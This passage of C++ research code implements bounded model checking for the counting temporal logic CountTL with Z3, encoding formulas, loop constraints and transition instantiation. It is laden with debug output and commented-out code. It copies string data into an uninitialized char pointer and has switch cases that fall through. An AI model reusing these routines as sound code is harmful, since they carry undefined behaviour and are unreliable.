temp0=(z1[0]!=z[N_s*j]); for(unsigned i=1; i<N_s; ++i){ temp0=temp0 || (z1[i]!=z[N_s*j+i]); } temp0=temp0 || (w1[0]!=w[N_c*j]); for(unsigned i=1; i<N_c; ++i){ temp0=temp0 || (w1[i]!=w[N_c*j+i]); } //-------------------------------------------------------------------------------------------------- // temp0 is s_j != s_k //-------------------------------------------------------------------------------------------------- temp1=temp1 && temp0; //-------------------------------------------------------------------------------------------------- // temp1 is (s_0 != s_k) && (s_1 != s_k) && ..... && (s_j != s_k) //-------------------------------------------------------------------------------------------------- } std::cout << "\n\nLoopFree formula is-->" << temp1 << "\n\n" << std::endl; return temp1; } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- void counttl_bmc::translate(int k) { //-------------------------------------------------------------------------------------------------- //The translate method takes parameter k as input and constructs the Boolean expressions needed to execute BMC //for any k: alpha[k] contains the Boolean expression describing all paths of length k in input system represented by (IF,TF). //for any k: beta[k] contains the Boolean approximation of the CountTL property TLF for length k trace. //for any k: lambda[k] contains the Boolean expression describing (k,l)-loop for any k<=l in the path of length k. //-------------------------------------------------------------------------------------------------- std::cout << "\nWe are in the translate routine with k= " << k << std::endl; switch(k){ case 0: alpha.push_back(IF);//for trace of length 0 std::cout << "\nComputed alpha[0]\n" << std::endl; std::getchar(); beta.push_back(encode_CountTL_property_into_PL(0));//for trace of length 0 std::cout << "\nComputed beta[0]\n" << std::endl; std::getchar(); lambda.push_back(compute_loop_constraints_at_k(0));//loop constraint for trace of length k std::cout << "\nComputed lambda[0]\n" << std::endl; std::getchar(); break; default: alpha.push_back(alpha[k-1] && instantiate_CountT_at_k(k));//for trace of length k std::cout << "\nComputed alpha[" << k << "]\n" << std::endl; std::getchar(); beta.push_back(encode_CountTL_property_into_PL(k));//for trace of length k std::cout << "\nComputed beta[" << k << "]\n" << std::endl; std::getchar(); lambda.push_back(compute_loop_constraints_at_k(k));//loop constraint for trace of length k std::cout << "\nComputed lambda[" << k << "]\n" << std::endl; std::getchar(); break; } } //-------------------------------------------------------------------------------------------------- //--------------------------------------IMPORTANT--------------------------------------------------- //---The lambda being computed in the translate() method is not being used in CountTL encoding.--------- //---Consequently, the method compute_loop_constraints_at_k() is not being used anywhere.----------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- expr counttl_bmc::encode_CountTL_property_into_PL(int k) { expr temp0(c),temp1(c),temp2(c),temp3(c); std::cout << "\nWe are in encode_CountTL_property_into_PL routine with k= " << k << "\n" << std::endl; std::getchar(); temp0=instantiate_CountT_for_loop_constraints(k,0);//T(s_k,s_0) std::cout << "\nComputed the loop constraint T(s_"<< k << ",s_0) and assigned to temp0\n" << std::endl; std::getchar(); temp2=temp0 && translate_CountTL_with_backloop_from_k_to_l(CountTLF,k,0,0); std::cout << "\nComputed the encoded formula T(s_"<< k << ",s_0) land 0_[f]_" << k << "^0 and assigned to temp2\n" << std::endl; std::getchar(); temp3=temp0; for (int l=1;l<=k;l++){ temp0=instantiate_CountT_for_loop_constraints(k,l);//T(s_k,s_l) std::cout << "\nComputed the loop constraint T(s_" << k << ",s_" << l << ") and assigned to temp0\n" << std::endl; std::getchar(); temp1=temp0 && translate_CountTL_with_backloop_from_k_to_l(CountTLF,k,l,0); std::cout << "\nComputed the encoded formula T(s_" << k << ",s_" << l << ") land " << l << "_[f]_" << k << "^0 and assigned to temp1\n" << std::endl; std::getchar(); temp2=temp2 || temp1;//\bigwedge_{j=0}^{l}(L_k^j \land [f,0]_k^j) std::cout << "\ntemp2 is updated by ORing it with temp1\n" << std::endl; std::getchar(); //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- temp3=temp3||temp0;//L_k^l=T(s_k,s_0)\lor T(s_k,s_1)\lor \cdots \lor T(s_k,s_l) std::cout << "\ntemp3 is updated by ORing it with temp0\n" <<std::endl; std::getchar(); } //-------------------------------------------------------------------------------------------------- //--------------temp2 contains the encoded formula guarded with loop constraints.------------------- //-----------------------temp3 contains all the loop constraints.----------------------------------- //-------------------------------------------------------------------------------------------------- return ((!temp3 && translate_CountTL_for_no_loop(CountTLF,k,0)) || temp2); } //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- //-------------------------------------------------------------------------------------------------- expr counttl_bmc::translate_CountTL_with_backloop_from_k_to_l(FTree* TLF,int k,int l,int i) { expr temp0(c),temp1(c),temp2(c),temp3(c),temp4(c),temp5(c),temp6(c); std::cout << "\nWe are in the method translate_CountTL_with_backloop_from_k_to_l with k= " << k << " and i=" << i << " and l= " << l << "\n" << std::endl; if(TLF==NULL){ std::cout << "\nError in the formula tree.\n" << std::endl; std::exit(1); } std::cout << "\nConsidering the CountTL subformula:" <<std::endl;Formula::display_ft_pre(TLF); switch(TLF->get_type()){ case 5://we should not get here. this must give an error. std::cout << "\nError in the formula tree.\n" << std::endl; std::exit(1); case 4: switch(TLF->get_val()[0]){ //what is TLF->iclient? //at this point we need to differentiate between t(x) and l(x). case '#': std::cout<<"\nThe node type is " << TLF->val[0] << "\n";fflush(stdout); //what is TLF->ctype? switch(TLF->next->val[0]){ case 'l': std::cout << "We are doing a case analysis of TLF->ctype with value: -> " << TLF->ctype << "\n"; std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->ctype){ case 0: std::cout << "We are in case 0.\n"; return u[k*N_c+TLF->iclient] <= TLF->bound+1; case 1: std::cout << "We are in case 1.\n"; return u[k*N_c+TLF->iclient] <= TLF->bound; } case 't': std::cout << "We are doing a case analysis of TLF->ctype with value: -> " << TLF->ctype << "\n"; std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->ctype){ case 0: std::cout << "We are in case 0.\n"; return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] <= TLF->bound+1; case 1: std::cout << "We are in case 1.\n"; return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] <= TLF->bound; }//end of switch on ctype default: std::cout<<"\nError in input.\n"; exit(1); }//end of inner switch default: std::cout<<"\nError in input.\n"; exit(1); }//end of outer switch case 3: switch(TLF->get_val()[0]){ //at this point too we need to differentiate between t(x) and l(x). case 'E': std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->next->val[0]){ case 'l': return u[k*N_c+TLF->iclient] > 0; case 't': return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] > 0; } //---------------------------------------------------------------------------------------------------------------- default: std::cout<<"\nError in input.\n"; exit(1); } case 2: switch(TLF->get_val()[0]){ case '='://EQUALITY std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); temp3=(temp1==temp2); return temp3; case '&'://AND std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); temp3=(temp1 && temp2); return temp3; case '|'://OR std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); temp3=(temp1 || temp2); return temp3; /* case '^'://XOR std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); temp3=(temp1 || temp2) && ! (temp1 && temp2); return temp3; case '$'://NAND std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); temp3=! (temp1 && temp2); return temp3; case '#'://NOR std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); temp3=!(temp1 || temp2); return temp3; */ case '%'://IMPLIES std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); temp3=implies(temp1,temp2); return temp3; /* case 'U'://UNTIL std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i);//[g]^i for(int j=i+1;j<=k;j++){ temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,j); //[g]^j temp3=temp2 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); //[g]^j and [f]^i for(int n=i+1;n<=j-1;n++){ temp3=temp3 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,n); //[g]^j and [f]^i and [f]^i+1 and ....[f]^n } temp1=temp1 || temp3;//[g]^i or ([g]^j and [f]^i and [f]^i+1 and ....[f]^j) } temp0=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,l);//[g]^i temp5=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); for(int n=i+1;n<=k;n++){ temp5=temp5 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,n); } temp0=temp0 && temp5; for(int j=l+1;j<=k;j++){ temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,j); //[g]^j temp4=temp2 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); for(int n=i+1;n<=k;n++){ temp4=temp4 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,n); } temp3=temp4 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,l); //[g]^j and [f]^i for(int n=l+1;n<=j-1;n++){ temp3=temp3 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,n); //[g]^j and [f]^i and [f]^i+1 and ....[f]^n } temp0=temp0 || temp3;//[g]^i or ([g]^j and [f]^i and [f]^i+1 and ....[f]^j) } std::cout << "\nReturning a proposition for " << TLF->get_val() << " formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; //std::getchar(); return temp1 || temp0; case 'R'://RELEASE std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i);//[g]^i for(int j=i+1;j<=k;j++){ temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,j); //[g]^j temp3=temp2 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); //[g]^j and [f]^i for(int n=i+1;n<=j;n++){ temp3=temp3 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,n); //[g]^j and [f]^i and [f]^i+1 and ....[f]^n } temp1=(temp1 || temp3);//[g]^i or ([g]^j and [f]^i and [f]^i+1 and ....[f]^j) } temp0=translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,l);//[g]^i temp5=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); for(int n=i+1;n<=k;n++){ temp5=temp5 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,n); } temp0=temp0 && temp5; for(int j=l+1;j<=k;j++){ temp2=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,j); //[g]^j temp4=temp2 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,i); for(int n=i+1;n<=k;n++){ temp4=temp4 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,n); } temp3=temp4 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,l); //[g]^j and [f]^i for(int n=l+1;n<=j;n++){ temp3=temp3 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_left(),k,l,n); //[g]^j and [f]^i and [f]^i+1 and ....[f]^n } temp0=temp0 || temp3;//[g]^i or ([g]^j and [f]^i and [f]^i+1 and ....[f]^j) } std::cout << "\nReturning a proposition for " << TLF->get_val() << " formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; //std::getchar(); if(i<l){ std::cout<< "\nThe Case when i < l: i= " << i << " l= " << l << "\n" << std::endl; temp6=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,i); for(int j=i+1;j<=k;j++){ temp6=temp6 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,j); } std::cout << "\nReturning a non-false proposition for G formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; //std::getchar(); } else{ std::cout<< "\nThe Case when i >= l: i= " << i << " l= " << l << "\n" << std::endl; temp6=translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,l); for(int j=l+1;j<=k;j++){ temp6=temp6 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_right(),k,l,j); } std::cout << "\nReturning a non-false proposition for G formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; //std::getchar(); } return (temp6 || (temp0 || temp1)); --------------------------------------------------------------------------------------------------*/ default: std::cout << "\nError\n" << std::endl; std::exit(1); } case 1: switch(TLF->get_val()[0]){ case '~'://NOT std::cout << "\nLooking at a " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,i); return !temp1; case 'X'://NEXT std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; if(i<k) return(translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,i+1)); else return(translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,l)); case 'F'://DIAMOND -- EVENTUALLY std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; if(i<l){ temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,i); for(int j=i+1;j<=k;j++){ temp1=temp1 || translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,j); } std::cout << "\nReturning a non-false proposition for F formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; return temp1; } else{ temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,l); for(int j=l+1;j<=k;j++){ temp1=temp1 || translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,j); } std::cout << "\nReturning a non-false proposition for F formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; return temp1; } case 'G'://BOX -- ALWAYS std::cout << "\nLooking at a " << TLF->get_val()[0] << " node\n" << std::endl; if(i<l){ std::cout<< "\nThe Case when i < l: i= " << i << " l= " << l << "\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,i); for(int j=i+1;j<=k;j++){ temp1=temp1 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,j); } std::cout << "\nReturning a non-false proposition for G formula:" << temp1 << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; std::getchar(); return temp1; } else{ std::cout<< "\nThe Case when i >= l: i= " << i << " l= " << l << "\n" << std::endl; temp1=translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,l); for(int j=l+1;j<=k;j++){ temp1=temp1 && translate_CountTL_with_backloop_from_k_to_l(TLF->get_next(),k,l,j); } std::cout << "\nReturning a non-false proposition for G formula:" << temp1 << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; std::getchar(); return temp1; } default: std::cout << "\nError\n" << std::endl; std::exit(1); } case 0: if(TLF->get_val()=="t"){ std::cout << "\nReplacing t by true\n" << std::endl; return (T || true); } else if(TLF->get_val()=="f"){ std::cout << "\nReplacing f by false\n" << std::endl; return (F && false); } else{ char* strng; int M=0; int ia; int len=TLF->get_val().size(); if(TLF->get_val()[0]!='x'){ std::cout << "Error in the input\nThe variables in I/P can only have x\n" << std::endl; std::exit(1); } TLF->get_val().copy(strng,len-1,1); //Copies a substring of the string object TLF->get_val() into the array pointed by strng. //This substring contains the len-1 characters that start at position position 1. //strng contains a number as string -- this string is converted to integer M for(int t=0;t<len-1;t++){ ia=strng[t]-'0'; M=10*M+ia; } std::cout << "\nReplacing " << TLF->get_val() << " by x[" << M << "][" << i << "]\n" << std::endl; //std::stringstream xName; //xName << "x" << M + i*N; //return c.bool_const(xName.str().c_str()); //is this expr of Boolean type or int type ? please check ? return x[M + i*N]; } std::cout << "\nError\n" << std::endl; std::exit(1); default: std::cout << "\nError\n" << std::endl; std::exit(1); break; } } //--------------------------------------------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------------------------------------------- //--------------------------------------------------------------------------------------------------------------------------- expr counttl_bmc::translate_CountTL_for_no_loop(FTree* TLF,int k,int i) { expr temp1(c),temp2(c),temp3(c); // expr f=c.bool_const("f"); // expr t=c.bool_const("t"); std::cout << "\nWe are in the method translate_CountTL_for_no_loop routine with k= " << k << " and i= " << i << "\n" << std::endl; if(TLF==NULL){ std::cout << "\nError in the formula tree.\n" << std::endl; std::exit(1); } switch(TLF->get_type()){ case 5://we should not get here. this must give an error. std::cout << "\nError in the formula tree.\n" << std::endl; std::exit(1); case 4: switch(TLF->get_val()[0]){ //what is TLF->iclient? //at this point we need to differentiate between t(x) and l(x). case '#': std::cout<<"\nThe node type is " << TLF->val[0] << "\n";fflush(stdout); //what is TLF->ctype? switch(TLF->next->val[0]){ case 'l': std::cout << "We are doing a case analysis of TLF->ctype with value: -> " << TLF->ctype << "\n"; std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->ctype){ case 0: std::cout << "We are in case 0.\n"; return u[k*N_c+TLF->iclient] <= TLF->bound+1; case 1: std::cout << "We are in case 1.\n"; return u[k*N_c+TLF->iclient] <= TLF->bound; } case 't': std::cout << "We are doing a case analysis of TLF->ctype with value: -> " << TLF->ctype << "\n"; std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->ctype){ case 0: std::cout << "We are in case 0.\n"; return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] <= TLF->bound+1; case 1: std::cout << "We are in case 1.\n"; return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] <= TLF->bound; }//end of switch on ctype default: std::cout<<"\nError in input.\n"; exit(1); }//end of inner switch default: std::cout<<"\nError in input.\n"; exit(1); }//end of outer switch case 3: switch(TLF->get_val()[0]){ //at this point too we need to differentiate between t(x) and l(x). case 'E': std::cout << "We use the TLF->iclient value here: -> " << TLF->iclient << "\n"; switch(TLF->next->val[0]){ case 'l': return u[k*N_c+TLF->iclient] > 0; case 't': return u[k*N_c+TLF->iclient]-u[(k-1)*N_c+TLF->iclient] > 0; } //---------------------------------------------------------------------------------------------------------------- default: std::cout<<"\nError in input.\n"; exit(1); } case 2: switch(TLF->get_val()[0]){ case '=': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_left(),k,i); temp2=translate_CountTL_for_no_loop(TLF->get_right(),k,i); temp3=temp1==temp2; return temp3; case '&': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_left(),k,i); temp2=translate_CountTL_for_no_loop(TLF->get_right(),k,i); temp3=(temp1 && temp2); return temp3; case '|': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_left(),k,i); temp2=translate_CountTL_for_no_loop(TLF->get_right(),k,i); temp3=(temp1 || temp2); return temp3; case '^': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_left(),k,i); temp2=translate_CountTL_for_no_loop(TLF->get_right(),k,i); temp3=(temp1 || temp2) && !(temp1 && temp2); return temp3; case '$': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_left(),k,i); temp2=translate_CountTL_for_no_loop(TLF->get_right(),k,i); temp3=!(temp1 && temp2); return temp3; case '#': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_left(),k,i); temp2=translate_CountTL_for_no_loop(TLF->get_right(),k,i); temp3=!(temp1 || temp2); return temp3; case '%': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_left(),k,i); temp2=translate_CountTL_for_no_loop(TLF->get_right(),k,i); temp3=implies(temp1,temp2); return temp3; /*-------------------------------------------------------------------------------------------------- case 'U': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; //loop from j=i to j=k temp1=translate_CountTL_for_no_loop(TLF->get_right(),k,i);//[g]^i for(int j=i+1;j<=k;j++){ temp2=translate_CountTL_for_no_loop(TLF->get_right(),k,j); //[g]^j temp3=(temp2 && translate_CountTL_for_no_loop(TLF->get_left(),k,i)); //[g]^j and [f]^i for(int n=i+1;n<=j-1;n++){ temp3=(temp3 && translate_CountTL_for_no_loop(TLF->get_left(),k,n)); //[g]^j and [f]^i and [f]^i+1 and ....[f]^n } temp1=(temp1 || temp3);//[g]^i or ([g]^j and [f]^i and [f]^i+1 and ....[f]^j) } std::cout << "\nReturning a proposition for " << TLF->get_val() << " formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; //std::getchar(); return temp1; case 'R': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_left(),k,i);//[f]^i for(int j=i+1;j<=k;j++){ temp2=translate_CountTL_for_no_loop(TLF->get_left(),k,j); //[f]^j temp3=(temp2 && translate_CountTL_for_no_loop(TLF->get_right(),k,i)); //[f]^j and [g]^i for(int n=i+1;n<=j;n++){ temp3=(temp3 && translate_CountTL_for_no_loop(TLF->get_right(),k,n)); //[f]^j and [g]^i and [g]^i+1 and ....[g]^n } temp1=(temp1 || temp3);//[f]^i or ([f]^j and [g]^i and [g]^i+1 and ....[g]^j) } std::cout << "\nReturning a proposition for " << TLF->get_val() << " formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; //std::getchar(); return temp1; --------------------------------------------------------------------------------------------------*/ default: std::cout << "\nError\n" << std::endl; std::exit(1); } case 1: switch(TLF->get_val()[0]){ case '~': std::cout << "\nLooking at a " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_next(),k,i); //temp2=S.lnot(temp1); temp2=!temp1; return temp2; case 'X': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; if(i<k) return(translate_CountTL_for_no_loop(TLF->get_next(),k,i+1)); else{ expr f=c.bool_const("f"); return (F && false); } case 'F': std::cout << "\nLooking at an " << TLF->get_val()[0] << " node\n" << std::endl; temp1=translate_CountTL_for_no_loop(TLF->get_next(),k,i); for(int j=i+1;j<=k;j++){ temp1=(temp1 || translate_CountTL_for_no_loop(TLF->get_next(),k,j)); } std::cout << "\nReturning a proposition for " << TLF->get_val() << " formula\n" << std::endl; std::cout << "\n----------------------------------------------------------------\n" << std::endl; //std::getchar(); return temp1; case 'G': std::cout << "\nLooking at a " << TLF->get_val()[0] << " node\n\nReturning false proposition"; //std::getchar(); return (F && false); default: std::cout << "\nError\n" << std::endl; std::exit(1); } case 0: if(TLF->get_val()=="t"){ std::cout << "\nReplacing t by true\n" << std::endl; return (T || true); } else if(TLF->get_val()=="f"){ std::cout << "\nReplacing f by false\n" << std::endl; return (F && false); } else{ char* strng; int M=0; int ia; int len=TLF->get_val().size(); if(TLF->get_val()[0]!='x'){ std::cout << "Error in the input\nThe variables in CountTLF can only have x\n" << std::endl; exit(0); } TLF->get_val().copy(strng,len-1,1); //Copies a substring of the string object TLF->get_val() into the array pointed by strng. //This substring contains the len-1 characters that start at position position 1. //strng contains a number as string -- this is converted to integer M for(int t=0;t<len-1;t++){ ia=strng[t]-'0'; M=10*M+ia; } //std::cout << "\nReplacing " << TLF->get_val() << " by x[" << M << "][" << i << "]\n" << std::endl; //std::stringstream xName; //xName << "x" << M + i*N; //return c.bool_const(xName.str().c_str()); return x[M + i*N]; } std::cout << "\nError\n" << std::endl; std::exit(1); default: std::cout << "\nError\n" << std::endl; std::exit(1); break; } } //-------------------------------------------------------------------------------------------------- //------------------------This method has to be suitably modified.---------------------------------- //-------------------------------------------------------------------------------------------------- expr counttl_bmc::instantiate_CountT_at_k(int k) { //-------------------------------------------------------------------------------------------------- //-------------In the case of instantiation of T, we do not need any tree traversal.---------------- //--------------We just have to call the substitute method provided by expr class.------------------ //-------------------------------------------------------------------------------------------------- //--------------------This method computes T(s_{k-1},s_{k}), given k.------------------------------- //---------------So, in the formula T, (x_0,x_1,...x_{N-1}) is replaced by ------------------------- //---------------------(x_{N*(k-1)+1},x_{N*(k-1)+2},...x_{N*(k-1)+N-1})----------------------------- //----------------and (y_0,y_1,...y_{N-1}) is replaced by (x_{N*k+1},x_{N*k+2},...x_{N*k+N-1})------ //-------------------------------------------------------------------------------------------------- std::cout << "\nWe are in the instantiate_CountT_at_k routine with k= " << k << "\n" << std::endl; /* expr_vector z(c); for(unsigned i=0; i<N; ++i){ z.push_back(x[i]); } expr_vector z0(c); for(unsigned i=0; i<N; ++i){ z0.push_back(x[i+N*(k-1)]); } std::cout << "\nz0 that replaces x in T is:\t" << z0 << std::endl; expr_vector z1(c); for(unsigned i=0; i<N; ++i){ z1.push_back(x[i+N*k]); } std::cout << "\nz1 that replaces y in T is:\t" << z1 << std::endl; */ //----------------------------------------------------------------------------------------------------- //We have replaced the above three loops by one loop. //----------------------------------------------------------------------------------------------------- /*-------------------------------------------------------------------------------------------------- expr_vector z(c); expr_vector z0(c); expr_vector z1(c); for(unsigned i=0; i<N; ++i){ z.push_back(x[i]); z0.push_back(x[i+N*(k-1)]); z1.push_back(x[i+N*k]); } std::cout << "\nz0 that replaces x in T is:\t" << z0 << std::endl; std::cout << "\nz1 that replaces y in T is:\t" << z1 << std::endl; //-------------------------------------------------------------------------------------------------------- //-------------subT is T(x,y) with x=(x0,x1,..x_N-1) replaced by current state z0 and -------------------- //---------------------y=(y0,y1,...y_N-1) replaced by next state z1.-------------------------------------- //-----------------We should make a copy of TF before substitution.--------------------------------------- //-------------------------------------------------------------------------------------------------------- expr subCountT(c); expr CountT=CountTF; subCountT=CountT.substitute(y,z1); subCountT=subCountT.substitute(z,z0); std::cout << "T substituted : " << subCountT << "\n\n" << std::endl; std::getchar(); return subCountT; --------------------------------------------------------------------------------------------------*/ //-------------------------------------------------------------------------------------------------- // expr_vector z(c); // for(unsigned i=0; i<k*N_s; ++i){ // std::stringstream xName; // xName << "x" << i; // z.push_back(c.bool_const(xName.str().c_str())); // } //std::cout << z << "\n\n"; expr_vector z0(c); for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i+N_s*(k-1); z0.push_back(c.bool_const(xName.str().c_str())); } //std::cout << z0 << "\n\n"; expr_vector z1(c); for(unsigned i=0; i<N_s; ++i){ std::stringstream xName; xName << "x" << i+N_s*k; z1.push_back(c.bool_const(xName.str().c_str())); } //std::cout << z1 << "\n\n"; //-------------------------------------------------------------------------------------------------- //No change in original expr_vector x is allowed. //-------------------------------------------------------------------------------------------------- // for(unsigned i=0; i<N_s; ++i){ // std::stringstream xName; // xName << "x" << i+N_s*k; // x.push_back(c.bool_const(xName.str().c_str())); // } //-------------------------------------------------------------------------------------------------- //For counter variables -- why are we using different expression vectors instead of u ? //-------------------------------------------------------------------------------------------------- // expr_vector w(c); // for(unsigned i=0; i<k*N_c; ++i){ // std::stringstream uName; // uName << "u" << i; // w.push_back(c.int_const(uName.str().c_str())); // } //std::cout << w << "\n\n"; expr_vector w0(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream uName; uName << "u" << i+N_c*(k-1); w0.push_back(c.int_const(uName.str().c_str())); } //std::cout << w0 << "\n\n"; expr_vector w1(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream uName; uName << "u" << i+N_c*k; w1.push_back(c.int_const(uName.str().c_str())); } //std::cout << w1 << "\n\n"; //-------------------------------------------------------------------------------------------------- //No change in original expr_vector u is allowed. //-------------------------------------------------------------------------------------------------- // for(unsigned i=0; i<N_c; ++i){ // std::stringstream uName; // uName << "u" << i+N_c*k; // u.push_back(c.bool_const(uName.str().c_str())); // } //-------------------------------------------------------------------------------------------------- //For input variables -- why are we using different expression vectors instead of ip and ipe ? //-------------------------------------------------------------------------------------------------- expr_vector jp(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream ipName; ipName << "ip" << i+N_c*(k-1); jp.push_back(c.bool_const(ipName.str().c_str())); } //std::cout << jp << "\n\n"; expr_vector jpe(c); for(unsigned i=0; i<N_c; ++i){ std::stringstream ipeName; ipeName << "ipe" << i+N_c*(k-1); jpe.push_back(c.bool_const(ipeName.str().c_str())); } //std::cout << jpe << "\n\n"; //-------------------------------------------------------------------------------------------------- //--------------No change in original expr_vector ip and ipe is allowed //-------------------------------------------------------------------------------------------------- // for(unsigned i=0; i<N_c; ++i){ // std::stringstream ipName; // ipName 